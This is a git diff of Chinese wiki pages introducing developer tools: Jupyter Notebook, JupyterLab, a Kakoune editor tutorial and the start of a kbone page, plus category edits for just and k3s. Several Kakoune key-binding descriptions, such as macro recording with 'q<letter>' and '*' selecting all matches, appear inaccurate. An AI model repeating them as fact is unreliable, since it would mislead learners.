+# 注册当前虚拟环境为可选 kernel（多项目必备）
+python -m ipykernel install --user --name=myproject --display-name="Python (myproject)"
+```
+
+启动后浏览器访问本地 URL（带 token）；**勿把未设密码的 Server 暴露到公网**——任意访问者都能在 kernel 里执行系统级代码。
+
+VS Code / Cursor 用户可直接打开 `.ipynb`，右下角选 kernel，体验与浏览器类似，且 Git diff 插件更成熟。
+
+## 常见坑与最佳实践
+
+1. **执行顺序陷阱**：你改了上面某格却没重跑，下面格仍用着旧变量——出诡异 bug 时先 `Kernel → Restart & Run All` 从头跑一遍。
+2. **大输出**：无意 `print` 百万行或巨大 DataFrame 会让浏览器卡死；用 `df.head()`、`df.info()`，或对输出区双击折叠。
+3. **不要把 `.ipynb` 当生产部署单元**：探索在 Notebook，上线抽成模块（`.py`）+ 测试；Notebook 适合**叙述性复现**，不适合长期 cron 任务（除非 `papermill` / `nbconvert` 编排）。
+4. **版本管理**：JSON diff 噪声大；团队可用 [nbstripout](https://github.com/kynan/nbstripout) 提交前清空输出，或约定只审 Markdown + 抽离的 `.py`。
+5. **依赖文档化**：在第一个 Code cell 写清 `%pip install ...` 或附 `requirements.txt`，否则别人打开全是 `ModuleNotFoundError`。
+6. **秘密信息**：切勿把 API Key 写进已提交的 `.ipynb`；用环境变量 `os.environ["KEY"]`。
+
+## 与相近工具怎么选
+
+| 场景 | 更合适的选择 |
+|------|----------------|
+| 课堂演示、论文复现、EDA 叙事 | **Jupyter Notebook / Lab** |
+| 多文件项目、Git、重构 | `.py` + IDE，或 JupyterLab |
+| 给非程序员点参数看结果 | [[streamlit]]、[[gradio]] |
+| 纯 reactive、少「状态错乱」 | [[marimo]]（重跑依赖图） |
+| 出版级静态图表网站 | [[observable-framework]]、Quarto |
+
+经典 Notebook 的定位从未变过：**让人类可读的叙述与可执行的计算住在同一页**。掌握 cell、kernel、执行顺序三件事，你就拿到了数据科学领域十年的通用入场券。
+
+## 延伸阅读
+
+- 官方文档：[What is the Jupyter Notebook?](https://jupyter-notebook.readthedocs.io/en/stable/examples/Notebook/What%20is%20the%20Jupyter%20Notebook.html)
+- 架构总览：[Jupyter architecture](https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html)
+- 格式规范：[nbformat](https://nbformat.readthedocs.io/)
+- 本库相关：[[pandas]]、[[matplotlib]]、[[duckdb]]、[[streamlit]]、[[wandb]]
diff --git a/src/content/docs/projects/jupyterlab.md b/src/content/docs/projects/jupyterlab.md
new file mode 100644
index 000000000..b9f352e64
--- /dev/null
+++ b/src/content/docs/projects/jupyterlab.md
@@ -0,0 +1,265 @@
+---
+title: JupyterLab — 下一代 Jupyter IDE
+来源: https://github.com/jupyterlab/jupyterlab
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+JupyterLab 是 Project Jupyter 的**下一代 Web IDE**——在浏览器里同时打开 Notebook、纯文本编辑器、终端、Markdown 预览、CSV 表格、调试器，并用拖拽标签页把它们拼成「自己的桌面」。2018 年前后从经典 [[jupyter-notebook]] 的单一文档界面演进而来；2022 年起官方把新功能优先放进 Lab，Notebook 7 与 Lab 4 共享同一套扩展内核（Lumino + 插件架构）。截至 2026 年，稳定线已到 **JupyterLab 4.x**（官方文档主推 4.5）：内置扩展管理器默认从 PyPI 一键装插件、Notebook 单元输出可「镜像」到独立标签做简易仪表盘、Python 等 **Kernel-backed 文本文件** 能在 `.py` 编辑器里选中代码块直接跑。
+
+**零基础第一次打开**：终端执行 `jupyter lab` → 浏览器进 `/lab` → 左侧文件树点文件夹 → 中间 **Launcher** 磁贴选 **Notebook → Python 3** → 在第一个 Code cell 输入 `print("hello")` → **Shift+Enter** 运行。看到输出，说明「Lab 壳 + Jupyter Server + IPython kernel」三件事已连通。
+
+日常类比：
+
+> 经典 Jupyter Notebook 像**一本只能竖着翻的实验日志**：一次只能盯一个 `.ipynb`，想改旁边的 `.py` 或开终端得另开浏览器标签或切到系统 Terminal。
+> JupyterLab 像**带多显示器的实验台**：左边是文件柜（File Browser），中间可以同时并排 Notebook 和 CSV 预览，下面再拖一个 Python 控制台接同一个 kernel 的变量——所有窗口仍连着同一台 Jupyter Server，保存、内核、权限一次管完。
+
+最小启动：
+
+```bash
+pip install jupyterlab ipykernel
+jupyter lab                    # 默认 http://127.0.0.1:8888/lab
+# 浏览器里：Launcher → Notebook / Terminal / Text File
+```
+
+## 为什么重要
+
+不理解 JupyterLab，下面这些事都没法解释：
+
+- 为什么 2024 年后 `pip install jupyter` 装完默认推你进 `/lab` 而不是经典 `/tree`——Lab 是官方主推壳，Notebook 7 是它的「简化皮肤」
+- 为什么同一个 `.ipynb` 在 Lab、Notebook 7、VS Code、Google Colab 里都能打开——**文档格式（nbformat）与 kernel 协议**与 UI 解耦
+- 为什么 Jupyter 扩展市场能装 LSP、Git、变量查看器、主题——Lab **几乎每一屏都是插件**（菜单、文件树、Notebook 视图本身也是 extension）
+- 为什么数据团队常在 Lab 里「Notebook 探索 + 旁边 Terminal 跑 ETL」——多面板工作区就是为这种**叙述 + 脚本 + 命令行**混合流设计的
+- 为什么 [[wandb]]、[[dspy]]、[[jupyter-notebook]] 教程仍通用——底层仍是 IPython kernel + `.ipynb`，只是 IDE 壳换了
+
+## 核心概念
+
+JupyterLab 在经典 Notebook 的「文档 + kernel + server」之上，多了**布局、插件、工作区**三层。记牢就不迷路。
+
+### 1. 工作区（Workspace）与主区域（Main Work Area）
+
+每次打开 Lab，你看到的**标签页排列、左右侧边栏开闭、哪个文档在前台**，都属于当前 **workspace 状态**。Workspace 可以：
+
+- 随 URL 恢复（服务器记住命名 workspace）
+- 通过 View → Simple Interface 暂时「全屏专注一个 tab」，退出后恢复多面板布局
+
+主区域用 **Phosphor / Lumino DockPanel** 实现：拖标签到左/右/上/下边缘可**分屏**；当前活动 tab 顶边有彩色条（默认蓝）。这比经典 Notebook 的「单页滚动」更适合对照两份数据或边写 Notebook 边看 README。
+
+### 2. 侧边栏与 Launcher
+
+| 区域 | 常见内容 |
+|------|----------|
+| **左侧 Activity Bar** | 文件浏览器、Running（内核/终端列表）、扩展管理器、TOC、命令面板入口 |
+| **右侧** | Notebook 属性检查器、**调试器**（需对应 kernel 支持） |
+| **Launcher** | 新建 Notebook、Console、Terminal、Markdown 等的磁贴页 |
+
+**Code Console** 值得单独记：连到与 Notebook **同一个 kernel** 的 REPL 窗口——Notebook 里 `df = ...` 跑完后，Console 里直接 `df.columns` 补刀，不必新开 Notebook 格。
+
+### 3. 文档与查看器（Document Registry）
+
+Lab 为不同 MIME/扩展名注册 **Document Widget**：`.ipynb` → Notebook 编辑器；`.py` → 带语法高亮的文本编辑器（可绑 LSP）；`.csv` → 表格视图；`.md` → 实时预览；图片、JSON、Vega 等有内嵌查看器。同一文件拖两个 tab 可以**并排对照**（例如左 Markdown 右预览）。
+
+与 kernel 的关系不变：**只有 Code cell / Console / Terminal 里跑的代码才进 kernel**；纯打开 CSV 预览不启动 Python。
+
+**Kernel-backed 文档**（Lab 特色）：打开 `.py` / `.md` 等文本时，可绑定与 Notebook 相同的 kernel，用工具栏 **Run** 或快捷键执行选中行——适合把探索脚本放在 `.py`，叙述仍写在 `.ipynb`，两边共享变量。
+
+**输出镜像（Output mirror）**：Notebook 某一格的图表/控件可拖到独立 tab，与 Notebook 并排，相当于「kernel 驱动的迷你面板」，不必另写 [[streamlit]] 就能演示交互控件。
+
+### 4. 插件架构（Extensions & Plugins）
+
+官方文档原话：JupyterLab 应用 = **核心 Application 对象 + 一堆 extensions**；菜单栏、状态栏、文件浏览器、Notebook 组件**全是插件**，第三方扩展与内置扩展同一套 API。
+
+- **Prebuilt extension**（2026 推荐）：`pip install jupyterlab-git` 即可，**无需 Node.js**；Lab 4 左侧 **Extension Manager** 默认连 PyPI，图形界面搜索安装
+- **Source extension**（扩展作者用）：npm + `jupyter lab build`，普通用户应避免 `jupyter labextension install`（已 deprecated，未来可能移除）
+- 插件之间用 **Provider-Consumer 依赖注入**：`requires` / `optional` 声明要的服务（如 `IFileBrowserFactory`）
+
+Notebook 7（2023+）与 Lab 4 **共享扩展系统**——为 Lab 写的扩展往往稍作适配也能跑在 Notebook 7。Lab 4 起 **不再** 随 `jupyterlab` 包捆绑经典 Notebook 应用；要经典树形 UI 需单独 `pip install notebook`（Notebook 7）。
+
+### 5. Jupyter Server 与 Service Manager
+
+浏览器不直连 kernel。Lab 前端通过 **Jupyter Server REST + WebSocket** 调用 `ContentsManager`（读写文件）、`KernelManager`（启停内核）、`SessionManager`（Notebook 与 kernel 绑定）等。Lab 4.4+ 把这些服务也插件化，便于 Hub、企业 SSO 替换实现。
+
+本地 `jupyter lab` 与 `jupyter notebook`（Notebook 7）通常共用同一 Server 进程族；区别主要在**加载哪套前端静态资源**（`/lab` vs `/tree` 或 `/notebooks`）。
+
+### 6. 与经典 Notebook 的分工
+
+| 维度 | 经典 Notebook | JupyterLab |
+|------|---------------|------------|
+| 布局 | 单文档线性 | 多 tab、分屏、侧边栏 |
+| 扩展 | 较少、偏 nbextension | 一等公民插件市场 |
+| 文本编辑 | 基本无 | 多文件 IDE 体验 + LSP 扩展 |
+| 调试 | 弱 | 内置 Debugger 面板（Python 等） |
+| 格式 | 同一 `.ipynb` | 同一 `.ipynb` |
+
+探索性分析、课程、复现包：**Lab 与 Notebook 7 任选**；多文件项目、终端+Notebook 并行、装 Git/LSP：**优先 Lab**。
+
+## 实践案例
+
+### 案例 1：Launcher 里建「Notebook + Console + Terminal」三角工作流
+
+目标：Notebook 写分析脚本，Console 试探变量，Terminal 用 `curl` 拉数据或 `git status`。
+
+**步骤（UI）：**
+
+1. `jupyter lab` → Launcher → **Python 3 (ipykernel)** 新建 Notebook
+2. 菜单 **File → New → Console**，选同一 **Python 3** kernel
+3. **File → New → Terminal**
+4. 拖 Console 标签到 Notebook **右侧**分屏；Terminal 拖到底部
+
+**Notebook 第一格：**
+
+```python
+import pandas as pd
+
+# 示例：内存里的小表，模拟 Notebook 与 Console 共享 kernel 状态
+sales = pd.DataFrame({
+    "month": ["2026-01", "2026-02", "2026-03"],
+    "amount": [120, 150, 180],
+})
+sales
+```
+
+**在 Code Console（同一 kernel）输入：**
+
+```python
+sales["amount"].mean()
+```
+
+无需 `%run` 或重新 import——Console 与 Notebook **共享内核命名空间**。改 Notebook 里 `sales` 后，Console 立刻看到新值（已执行的 cell 顺序仍要注意，与经典 Notebook 相同的「状态陷阱」）。
+
+**Terminal 里（独立 shell，不共享 Python 变量）：**
+
+```bash
+python -c "import sys; print(sys.executable)"
+jupyter labextension list    # 查看已装 Lab 前端扩展
+```
+
+Terminal 适合装包、Git、curl；算数据仍回 Notebook/Console。
+
+### 案例 2：命令行装扩展、导出、执行 Notebook
+
+Lab 常与自动化流水线并用：UI 探索，CLI 交付。
+
+**安装常用扩展（示例）：**
+
+```bash
+# Git 集成（状态栏 + 图形 diff）
+pip install jupyterlab-git
+
+# 语言服务器协议（Python 补全、跳转，需对应 language server）
+pip install jupyterlab-lsp python-lsp-server[all]
+
+# 重启 Lab 后扩展生效
+jupyter lab
+```
+
+**用 nbconvert 从 Lab 保存的 notebook 导出 HTML（Lab 菜单 File → Export 同理）：**
+
+```bash
+jupyter nbconvert --to html --execute analysis.ipynb \
+  --output reports/analysis.html
+```
+
+**在 CI 里「只跑不通 UI」的检查：**
+
+```bash
+jupyter execute analysis.ipynb --output executed.ipynb --inplace
+echo $?   # 0 表示所有 cell 跑通
+```
+
+**注册项目专用 kernel（多 conda/venv 必备）：**
+
+```bash
+python -m ipykernel install --user \
+  --name=study-env \
+  --display-name="Python (study)"
+```
+
+Lab 里 **Kernel → Change Kernel** 或 Launcher 磁贴上选 **Python (study)**。
+
+### 案例 3：在 Lab 里用 `.py` + Notebook 混合开发
+
+Notebook 写报告，逻辑抽到 `utils.py`，同一 kernel 里 `%run` 加载（与经典 Notebook 相同，但在 Lab 里可**分屏**对照）：
+
+**`utils.py`（用文本编辑器保存）：**
+
+```python
+def normalize(series):
+    """零均值单位方差，供 Notebook 调用。"""
+    return (series - series.mean()) / series.std()
+```
+
+**Notebook cell：**
+
+```python
+%run utils.py          # 把 utils 里的定义注入当前 kernel 命名空间
+import pandas as pd
+
+s = pd.Series([1, 2, 3, 100], name="x")
+normalize(s)
+```
+
+改 `utils.py` 后需重新 `%run utils.py` 或 **Restart Kernel**——Lab 不会自动热重载 Python 模块。长期项目更推荐正规 `import utils`（把项目根目录加入 `PYTHONPATH` 或 `pip install -e .`）。
+
+### 案例 4：Workspace URL 与 Simple Interface
+
+- 命名 workspace：在 UI 里保存后，URL 形如 `.../lab/workspaces/auto-XXX` 或自定义名，**书签即布局**
+- **View → Simple Interface**：隐藏多余 tab，专注当前 Notebook 写报告；再切回恢复多屏
+- 命令面板：**Ctrl+Shift+C**（macOS：**Cmd+Shift+C**）搜 `Run` / `Save` / `Terminal`，比记菜单快
+
+高级用户可在 **Settings → Advanced Settings Editor → Keyboard Shortcuts** 改键；多命令串联可绑 `apputils:run-all-enabled`（官方文档示例：一键 Save + Close）。
+
+## 安装与上手
+
+**2026 推荐路径：**
+
+```bash
+# 标准安装（含 Lab + 常用依赖）
+pip install "jupyterlab>=4" ipykernel pandas matplotlib
+
+# 从经典 notebook 迁移：仍可直接打开旧 .ipynb
+jupyter lab path/to/legacy.ipynb
+
+# 开发扩展前（可选）
+pip install jupyterlab>=4  # 扩展作者需 Node.js + jlpm，见官方 extension 文档
+```
+
+**安全：** 与经典 Notebook 相同——`jupyter lab --ip=0.0.0.0` 暴露到局域网时务必设 token/密码；kernel 能执行任意代码，等同给访问者一个 shell。
+
+**与 VS Code / Cursor：** 可直接打开 `.ipynb`，体验接近 Lab 单 tab；Lab 的优势在**浏览器统一部署、Hub 多用户、插件生态、分屏 Console**。本地写库仍常两者混用。
+
+## 常见坑与最佳实践
+
+1. **扩展冲突**：装太多 `labextension` 后启动变慢或白屏——`jupyter labextension list` 排查，`jupyter lab clean` 再重装。
+2. **内核与 Terminal 混淆**：Terminal 里的 `python` 未必是 Notebook 内核那个解释器；装包用 `%pip install` 在 Notebook 里更稳，或 `python -m pip` 显式指定路径。
+3. **执行顺序**：多分屏同时改代码，仍只有一个 kernel 进程——**Restart Kernel and Run All** 仍是排错第一步。
+4. **大文件预览**：在 Lab 里打开巨型 CSV/JSON 可能拖垮浏览器；大表用 [[duckdb]] / `pandas.read_csv(chunksize=...)` 在 Notebook 里处理，别靠查看器硬扛。
+5. **版本管理**：`.ipynb` JSON diff 噪声大；团队用 nbstripout 清输出，或探索在 Lab、逻辑抽到 `.py` 模块再 import。
+6. **Simple Interface 误会**：不是「另一种格式」，只是 UI 状态；保存的仍是普通 `.ipynb`。
+7. **远程与 Hub**：企业用 JupyterHub 时，用户往往只见到 Lab 入口；资源限制（内存、idle cull）在 Server/Hub 层配，与本地习惯相同。
+
+## 与相近工具怎么选
+
+| 场景 | 更合适的选择 |
+|------|----------------|
+| 浏览器里多文件 + 终端 + Notebook 并行 | **JupyterLab** |
+| 只要线性格子、教程截图简单 | Notebook 7 或经典 UI |
+| 本地 Git、重构、多语言 LSP 一体 | VS Code / Cursor |
+| 可复现、少 hidden state | [[marimo]]、Quarto |
+| 给业务方点参数看结果 | [[streamlit]]、[[gradio]] |
+| 集群多用户、课表批量开机 | JupyterHub + Lab |
+
+JupyterLab 的定位：**在开放 Jupyter 协议之上，给交互式计算一个可扩展、可布局、可部署的 IDE 壳**。掌握 workspace、插件、Document+Kernel 三角，你就从「会跑 Notebook」进到「会搭数据分析工作台」。
+
+## 延伸阅读
+
+- 官方概览：[JupyterLab — Overview](https://jupyterlab.readthedocs.io/en/stable/getting_started/overview.html)（含 Code Console、输出镜像、Kernel-backed 文档说明）
+- Lab 4 扩展：[Installing extensions](https://jupyterlab.readthedocs.io/en/stable/user/extensions.html)
+- 界面与分屏：[The JupyterLab Interface](https://jupyterlab.readthedocs.io/en/stable/user/interface.html)
+- 扩展开发：[Develop Extensions](https://jupyterlab.readthedocs.io/en/stable/extension/extension_dev.html)
+- 架构总览：[Jupyter architecture](https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html)
+- 本库相关：[[jupyter-notebook]]、[[pandas]]、[[matplotlib]]、[[duckdb]]、[[streamlit]]、[[wandb]]
diff --git a/src/content/docs/projects/just.md b/src/content/docs/projects/just.md
index 0cdddb79a..6b4d9b222 100644
--- a/src/content/docs/projects/just.md
+++ b/src/content/docs/projects/just.md
@@ -2,8 +2,8 @@
 title: just — 把 make 拆成两半，只留 ‘命令编排’ 那一半
 来源: https://github.com/casey/just
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/k3s.md b/src/content/docs/projects/k3s.md
index 14ae1f9c8..4cda7bce3 100644
--- a/src/content/docs/projects/k3s.md
+++ b/src/content/docs/projects/k3s.md
@@ -2,7 +2,7 @@
 title: k3s — 把完整 K8s 塞进一个 60 MB 的二进制
 来源: https://github.com/k3s-io/k3s
 日期: 2026-05-31
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/kakoune-editor.md b/src/content/docs/projects/kakoune-editor.md
new file mode 100644
index 000000000..3e4565b9c
--- /dev/null
+++ b/src/content/docs/projects/kakoune-editor.md
@@ -0,0 +1,301 @@
+---
+title: Kakoune 编辑器零基础学习笔记
+来源: https://github.com/mawww/kakoune
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# Kakoune 编辑器零基础学习笔记
+
+## 什么是 Kakoune？
+
+Kakoune 是一个终端代码编辑器，灵感来自 Vim，但走了一条不同的路。
+
+它的口号是四句话：
+
+- **模态编辑器** — 有不同工作模式
+- **按键即语言** — 用击键序列作为文本编辑的语言
+- **多选择** — 同时操作多处文本
+- **正交设计** — 每个功能各司其职，互不重叠
+
+GitHub 上它有超过 10,900 颗星，用 C++ 写成，开源协议是 Unlicense（完全放弃版权，你想怎么用都行）。
+
+## 一个日常类比：编辑文本就像整理书架
+
+想象你面前有一个长书架，上面摆满了书。
+
+**普通编辑器（记事本）** 就像你在书架前拿着一支笔。你想改第 5 本书的名字，你得：先把光标移到那本书、选中书名、打字替换。每一步都是单独的动作，一次只能动一本书。
+
+**Vim** 也类似，但你有一套口诀："d2w" 表示"删除接下来两本书"。你需要记住这些口诀，但它们确实省时间。
+
+**Kakoune** 的思路更进一步：你不仅可以一次选中多本书，还能直接对选中的所有书同时改名、删除、移动。比如你选中了所有"计算机"分类的书，按一个键就能给它们全部贴上新标签。这就是它的"多选择"特性。
+
+## 核心概念
+
+### 1. 选择（Selection）
+
+Kakoune 里一切操作都围绕"选择"展开。选择是一段文本范围，有两个端点：
+
+- **锚点（Anchor）**：选择的起点，固定不动
+- **光标（Cursor）**：选择的终点，移动时变化
+
+每次你选中文字，就是在创建一个选择。Kakoune 的核心设计哲学是：**先选择，后操作**。不像 Vim 用 `d`（删除）紧跟在移动命令后面，Kakoune 是先用移动命令选中内容，再用 `d` 删除它。
+
+可以类比：Vim 是"边找边删"，Kakoune 是"先圈出来，再处理"。
+
+### 2. 两种模式
+
+Kakoune 只有两种模式：
+
+- **普通模式（Normal Mode）**：按键是命令，用来选中和操作文本。进入编辑器时的默认模式。
+- **插入模式（Insert Mode）**：按键直接输入文字。按 `i` 进入，按 `Esc` 回到普通模式。
+
+没有 Vim 的"命令模式"（按 `:` 进入的那种）。Kakoune 的 `:` 只是用来输入非编辑类命令（如打开文件、退出），不影响编辑模式。
+
+### 3. 多选择（Multiple Selections）
+
+这是 Kakoune 最强大的特性。你可以同时选中多段文本，然后对一个操作影响所有选中区域。
+
+比如你想把文档里所有的 `roger` 改成 `marcel`：
+
+1. 选中一段文字
+2. 按 `s`，输入 `roger`，回车 — 这段文字里所有 `roger` 都被选中了
+3. 按 `c`，输入 `marcel`，按 `Esc` — 所有 `roger` 同时被替换
+
+不需要一个一个找。
+
+### 4. 正交设计
+
+Kakoune 的设计原则是"各司其职"。Vim 有很多功能重叠的按键（比如 `d` 和 `x` 都能删除），Kakoune 只有 `d`。它追求每个命令只做一件事，让组合变得直观。
+
+## 基本操作
+
+### 模式切换
+
+| 按键 | 效果 |
+|------|------|
+| `i` | 进入插入模式（在当前选择之前） |
+| `a` | 进入插入模式（在当前选择之后） |
+| `Esc` | 回到普通模式 |
+| `Alt + ;` | 临时执行一个普通模式命令，然后回到插入模式 |
+
+### 基础移动
+
+Kakoune 的键盘布局与 Vim 相同：`h` 左、`j` 下、`k` 上、`l` 右。但每次按这些键，**选中**对应字符，而不是移动光标。
+
+| 按键 | 效果 |
+|------|------|
+| `h/j/k/l` | 向左/下/上/右选中一个字符 |
+| `w` | 选中右边的一个单词及后面的空白 |
+| `b` | 选中左边的一个单词 |
+| `e` | 选中右边的一个单词（到单词末尾） |
+| `f<字符>` | 选中到下一个出现的字符（含） |
+| `t<字符>` | 选中到下一个出现的字符（不含） |
+| `x` | 选中整行（包含换行符） |
+| `Alt + x` | 只选中整行内容（不包含换行符） |
+| `%` | 选中整个文件 |
+
+### 扩展选择
+
+按 `Shift` 键可以"扩展"选择，即保留已有的选中范围并继续扩大：
+
+- `w` 选中当前单词
+- `WW`（按两次大写 W）再扩展两个单词
+
+可以类比：第一次 `w` 是"选中这个词"，第二次 `W` 是"再多选两个词"。
+
+### 操作命令
+
+| 按键 | 效果 |
+|------|------|
+| `d` | 删除选中内容 |
+| `c` | 删除选中内容并进入插入模式 |
+| `y` | 复制选中内容 |
+| `p` | 在光标后粘贴 |
+| `P` | 在光标前粘贴 |
+| `u` | 撤销 |
+| `U` | 重做 |
+| `:` | 进入命令模式 |
+
+## 代码示例
+
+### 示例 1：批量修改变量名
+
+假设你有这样一段代码：
+
+```python
+name = "Alice"
+age = 30
+name = "Bob"
+age = 25
+```
+
+你想把所有 `name` 改成 `full_name`。
+
+**操作步骤：**
+
+1. 把光标放到第一个 `name` 上
+2. 按 `*`（星号）— Kakoune 会自动选中当前光标所在单词的全部内容，即所有 `name` 都高亮了
+3. 按 `c` — 删除选中的 `name` 并进入插入模式
+4. 输入 `full_name`
+5. 按 `Esc`
+
+所有 `name` 同时变成了 `full_name`：
+
+```python
+full_name = "Alice"
+age = 30
+full_name = "Bob"
+age = 25
+```
+
+如果某个地方的 `name` 你不想改，按 `n` 然后 `,` 可以取消某个选择。
+
+### 示例 2：调整多行缩进
+
+假设你有一段代码缩进混乱：
+
+```python
+def hello():
+    print("world")
+    def nested():
+        print("hello")
+        if True:
+    print("done")
+```
+
+你想把 `nested` 函数体内的所有行同时选中并调整缩进：
+
+1. 把光标放在 `print("world")` 这一行
+2. 按 `x` 选中整行
+3. 按 `j` 向下扩展选中下一行 `def nested():`
+4. 再按几次 `j`，选中所有需要调整的行
+5. 按 `>` — 缩进（增加一个缩进量）
+6. 或者按 `<` — 取消缩进
+
+也可以不用手动选中：把光标放在某行，按 `>>`（Vim 风格的缩进命令在 Kakoune 里是 `>`），它会自动选中当前行。
+
+### 示例 3：用正则表达式分割文本
+
+你有这样一段数据：
+
+```
+苹果, 香蕉, 橙子, 葡萄
+```
+
+你想把每个水果分到单独的一行：
+
+1. 选中整行
+2. 按 `S`（大写）
+3. 输入 `, `（逗号加空格），按回车
+
+结果：
+
+```
+苹果
+香蕉
+橙子
+葡萄
+```
+
+`S` 会用正则表达式把当前选择分割成多个选择。
+
+## 命令模式
+
+按 `:` 进入命令模式，类似 Vim 的 `:` 命令。常用命令：
+
+| 命令 | 效果 |
+|------|------|
+| `:e filename` | 打开文件 |
+| `:w` | 保存文件 |
+| `:q` | 退出 |
+| `:q!` | 强制退出（不保存） |
+| `:colorscheme default` | 切换配色方案 |
+| `:doc keys` | 查看按键文档 |
+
+多条命令可以用 `;` 分隔：
+
+```
+:echo "hello"; echo "world"
+```
+
+## 配置文件
+
+Kakoune 的配置文件在 `$XDG_CONFIG_HOME/kak/kakrc`（通常在 `~/.config/kak/kakrc`）。
+
+比如设置 Tab 宽度为 4 个空格：
+
+```
+set buffer tab-stop 4
+```
+
+比如绑定按键：
+
+```
+map global user x ':echo "Hello"\e'
+```
+
+## Kakoune vs Vim：主要区别
+
+| 特性 | Vim | Kakoune |
+|------|-----|---------|
+| 删除方式 | `dw`（先删再指定范围） | 先选 `w`，再删 `d` |
+| 多选 | 不支持 | 原生支持，核心特性 |
+| 模式数 | 普通/插入/视觉/命令 | 普通/插入 |
+| 插件方式 | Lua/C/Ruby 等 | KakouneScript + Shell |
+| 设计哲学 | 一切皆有快捷方式 | 正交分离，各司其职 |
+
+## 进阶概念
+
+### 寄存器（Registers）
+
+Kakoune 有多种寄存器：命名寄存器（用小写字母命名）、数字寄存器（0-9）、特殊寄存器（如 `_` 表示空寄存器）、以及用于保存搜索结果的寄存器。
+
+比如 `""d` 表示"用默认寄存器删除"。
+
+### 宏（Macros）
+
+可以录制一系列按键操作并重放：
+
+- 按 `q<字母>` 开始录制宏（`<字母>` 是你选择的寄存器名）
+- 执行你想录制的操作
+- 按 `q` 停止录制
+- 按 `@<字母>` 重放宏
+- 按 `@<字母>n` 重放 n 次
+
+### 管道（Pipe）
+
+Kakoune 可以把你选中的文本通过 Unix 管道传递给外部命令处理：
+
+按 `|`，输入命令名，比如 `sort`，选中的行就会按字母排序。这是它"正交设计"的体现：排序交给 Unix 的 `sort` 命令来做，而不是自己实现。
+
+### 客户端-服务器架构
+
+Kakoune 有服务端和客户端的概念。多个终端窗口可以连接到同一个编辑会话，编辑同一个文件，相互同步。这在 tmux 或窗口管理器中非常有用。
+
+## 总结
+
+Kakoune 的核心思想可以用一句话概括：**先选中，再操作，一次处理多处。**
+
+它不像 Vim 那样追求"一个按键序列完成找+改"，而是把"找"和"改"分开，让每一步都可见、可感、可调整。这对初学者来说反而更容易理解，因为你始终能看到自己选中了什么。
+
+多选择特性是它的杀手锏——当你要批量修改、批量删除、批量调整时，Kakoune 的效率远超传统编辑器。
+
+## 快速入门练习
+
+1. 运行 `kak` 打开一个文件
+2. 按 `i` 进入插入模式，随便写几行文字
+3. 按 `Esc` 回到普通模式
+4. 用 `h/j/k/l` 移动，观察选中范围的扩展
+5. 用 `w` 选中单词，用 `d` 删除
+6. 用 `u` 撤销，`U` 重做
+7. 输入多行文字，用 `:` 输入 `:q` 退出
+
+## 参考资源
+
+- 官方仓库：https://github.com/mawww/kakoune
+- 官方文档：https://kakoune.org
+- Vim 转 Kakoune 指南：仓库根目录的 `VIMTOKAK` 文件
+- IRC 频道：Libera.Chat 上的 `#kakoune`
diff --git a/src/content/docs/projects/kbone.md b/src/content/docs/projects/kbone.md
new file mode 100644
index 000000000..4638c71d9
--- /dev/null
+++ b/src/content/docs/projects/kbone.md
@@ -0,0 +1,285 @@
+---
+title: kbone — 用浏览器适配层让 Web 代码跑在微信小程序
+来源: https://github.com/Tencent/kbone
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+kbone 是腾讯微信团队开源的**微信小程序与 Web 同构**方案：你在浏览器里熟悉的 `document`、`window`、Vue Router、React 组件写法，经过一层「适配器」后，可以在微信小程序的逻辑层里跑起来，再把内存里的 DOM 树同步成小程序视图。日常类比：
+
+> 小程序环境像一座**禁带外语的城市**——官方只认 `view`/`text` 和 `setData`，不认 HTML 里的 `div` 和 `document.querySelector`。
+> kbone 在城市入口设了一个**同声传译大厅**：你在厅里仍说 Web 那套语言（写 Vue/React、操作 DOM），传译员（`miniprogram-render`）把每一句话记成一棵虚拟 DOM 树，再换成小程序能听懂的组件树（`miniprogram-element`）送到街上展示。
+
+它和「把 H5 塞进 `web-view`」不同：页面主体仍是**原生小程序渲染**，可以分包、用 `live-player` 等内置组件，也能继续调用 `wx.*` API；只是业务逻辑层假装自己在浏览器里。
+
+```bash
+# 全局安装脚手架
+npm install -g kbone-cli
+
+# 创建项目（可选 Vue / React 模板）
+kbone init my-kbone-app
+cd my-kbone-app
+
+npm run mp      # 开发小程序，输出到 dist/mp，用微信开发者工具打开
+npm run web     # 开发 Web 端
+npm run build   # 构建 Web 生产包
+```
+
+## 为什么重要
+
+不理解 kbone，在「已有成熟 H5 / Vue 项目要进微信」时容易选型失误：
+
+- **迁移成本**：编译时方案（如早期 Taro 1、mpvue）往往要改框架写法；kbone 走**运行时适配**，尽量不改 Vue 的 `v-html`、Vue Router、Redux 等上层能力
+- **双线程心智**：微信小程序逻辑层（JSCore）与渲染层（WebView）分离，不能直接碰真实 DOM；kbone 在逻辑层用 JS **仿造** DOM/BOM，再 `setData` 同步到渲染层
+- **与 Taro / uni-app 的取舍**：Taro、uni-app 也做跨端，但工程形态更偏「框架 + 编译链」；kbone 更贴近「把现有 Web 项目搬进小程序」，框架绑定更松（Vue、React、Preact、甚至原生 JS 均可）
+- **性能边界**：官方明确：节点特别多（约 1000+）且要稳定帧率时，更适合静态模板转译；kbone 用**一定性能换更完整的 Web 语义**
+
+## 核心概念
+
+kbone 的技术栈可以拆成五块：
+
+### 1. 双线程 + 虚拟 DOM 桥接
+
+微信小程序架构要点：
+
+1. **逻辑层**运行你的 JS（含框架与业务）；
+2. **渲染层**用 WXML/WXSS 画界面；
+3. 两层通过 `setData` 传数据，原生环境**没有**标准 DOM API。
+
+kbone 在逻辑层维护一棵**仿造 DOM 树**（`miniprogram-render`），每次 DOM 变更经节流后整树或增量同步到渲染层；渲染层由**自定义组件**（`miniprogram-element`）把节点映射成 `view`、`text`、`image` 等。类比：你在后台改 Excel，前台大屏自动刷新——改的是「数据化的树」，不是直接摸屏幕上的像素。
+
